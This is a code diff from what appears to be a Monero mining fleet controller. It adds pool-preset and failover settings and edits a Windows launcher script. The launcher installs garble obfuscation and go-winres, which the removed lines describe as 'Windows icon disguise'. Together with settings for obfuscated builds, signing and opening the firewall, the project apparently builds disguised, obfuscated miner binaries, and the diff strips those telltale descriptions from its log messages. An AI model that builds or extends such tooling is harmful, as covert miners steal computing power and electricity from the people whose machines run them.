setSaveMessage('Save blocked: wallet does not look like a valid Monero mainnet address.');
return;
}
if (!window.confirm('Wallet does not look like a standard Monero address. Save anyway?')) {
return;
}
}
setSaving(true);
setSaveMessage('');
try {
@@ -272,10 +291,26 @@ export default function SettingsPage() {
updateField('server.open_firewall_on_start', true);
updateField('server.obfuscate_default', false);
updateField('server.sign_enabled', false);
const pools = orderedPoolsFromSelection(
[...DEFAULT_PRESET_IDS],
config.pool.password || 'x'
);
const poolFields = applyPoolsToForgeFields(pools);
updateField('pool.host', poolFields.pool_host);
updateField('pool.port', poolFields.pool_port);
updateField('pool.use_tls', poolFields.pool_tls);
updateField(
'pool.backup_pools',
poolFields.backup_pools.map((bp) => ({
host: bp.host,
port: bp.port,
use_tls: bp.tls,
}))
);
if (!config.wallet.address?.trim()) {
setSaveMessage('Set your Monero wallet below, then Save Calibration.');
setSaveMessage('TLS pool presets + LAN URL applied — set your Monero wallet, then Save Calibration.');
} else {
setSaveMessage('Best defaults applied to the form — click Save Calibration to keep them.');
setSaveMessage('Best defaults applied (LAN URL + TLS pool presets) — click Save Calibration to keep them.');
}
}}
>
@@ -335,26 +370,29 @@ export default function SettingsPage() {
<NeonCard accent="cyan" className="settings-section">
<h2 className="font-display">Upstream Pool</h2>
<p className="section-desc">The control server connects here and relays work to your fleet (not per-miner in this tab).</p>
<div className="form-group">
<label htmlFor="cfg-pool-host" className="label">Pool Host <HelpTip field="pool_host" /></label>
<input id="cfg-pool-host" type="text" className="input" value={config.pool.host}
onChange={(e) => updateField('pool.host', e.target.value)} />
</div>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-pool-port" className="label">Port</label>
<input id="cfg-pool-port" type="number" className="input" value={config.pool.port}
onChange={(e) => updateField('pool.port', parseInt(e.target.value) || 3333)} />
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end' }}>
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.pool.use_tls}
onChange={(e) => updateField('pool.use_tls', e.target.checked)} />
<span>Use TLS</span>
</label>
</div>
</div>
<p className="section-desc">The control server connects here and relays work to your fleet. Pick presets or add your own unreachable pools are skipped automatically.</p>
<PoolPresetPicker
host={config.pool.host}
port={config.pool.port}
tls={config.pool.use_tls}
pass={config.pool.password || 'x'}
backups={(config.pool.backup_pools ?? []).map(
(bp): BackupPool => ({ host: bp.host, port: bp.port, tls: bp.use_tls, pass: config.pool.password || 'x' })
)}
onChange={(next) => {
updateField('pool.host', next.pool_host);
updateField('pool.port', next.pool_port);
updateField('pool.use_tls', next.pool_tls);
updateField(
'pool.backup_pools',
(next.backup_pools ?? []).map((bp) => ({
host: bp.host,
port: bp.port,
use_tls: bp.tls,
}))
);
}}
/>
<div className="form-group">
<label htmlFor="cfg-pool-pass" className="label">Pool Password</label>
<input id="cfg-pool-pass" type="text" className="input" value={config.pool.password}

View File

@@ -188,11 +188,19 @@ export interface ServerSettings {
sign_timestamp_url?: string;
}
export interface PoolEndpoint {
host: string;
port: number;
use_tls: boolean;
}
export interface PoolConfig {
host: string;
port: number;
use_tls: boolean;
password: string;
/** Failover pools — tried in order when the primary is unreachable. */
backup_pools?: PoolEndpoint[];
}
export interface WalletConfig {

View File

@@ -135,28 +135,20 @@ set "GOENV=off"
:: ----------------------------------------------------------------
:: 3. Install optional Forge tools if missing (non-fatal)
:: ----------------------------------------------------------------
if /i "%AF_INSTALL_TOOLS%"=="1" (
if /i not "%AF_INSTALL_TOOLS%"=="0" (
if not exist "%ROOT%\toolchain\gopath\bin\garble.exe" (
echo [Tools] Installing garble - obfuscation support...
echo [Tools] Installing garble...
"%GO_BIN%" install mvdan.cc/garble@latest
if errorlevel 1 (
echo [Tools] WARNING: garble install failed - Forge obfuscation will be skipped.
) else (
echo [Tools] garble ready.
)
if errorlevel 1 echo [Tools] WARN: garble install failed.
)
if not exist "%ROOT%\toolchain\gopath\bin\go-winres.exe" (
echo [Tools] Installing go-winres - Windows icon disguise...
echo [Tools] Installing go-winres...
"%GO_BIN%" install github.com/tc-hib/go-winres@v0.3.1
if errorlevel 1 (
echo [Tools] WARNING: go-winres install failed - Fusion icon patch will be skipped.
) else (
echo [Tools] go-winres ready.
)
if errorlevel 1 echo [Tools] WARN: go-winres install failed.
)
) else (
echo [Tools] Skipping optional installs. Run: set AF_INSTALL_TOOLS=1 ^&^& LAUNCH.bat to install.
echo [Tools] Auto-install disabled (AF_INSTALL_TOOLS=0).
)
:: ----------------------------------------------------------------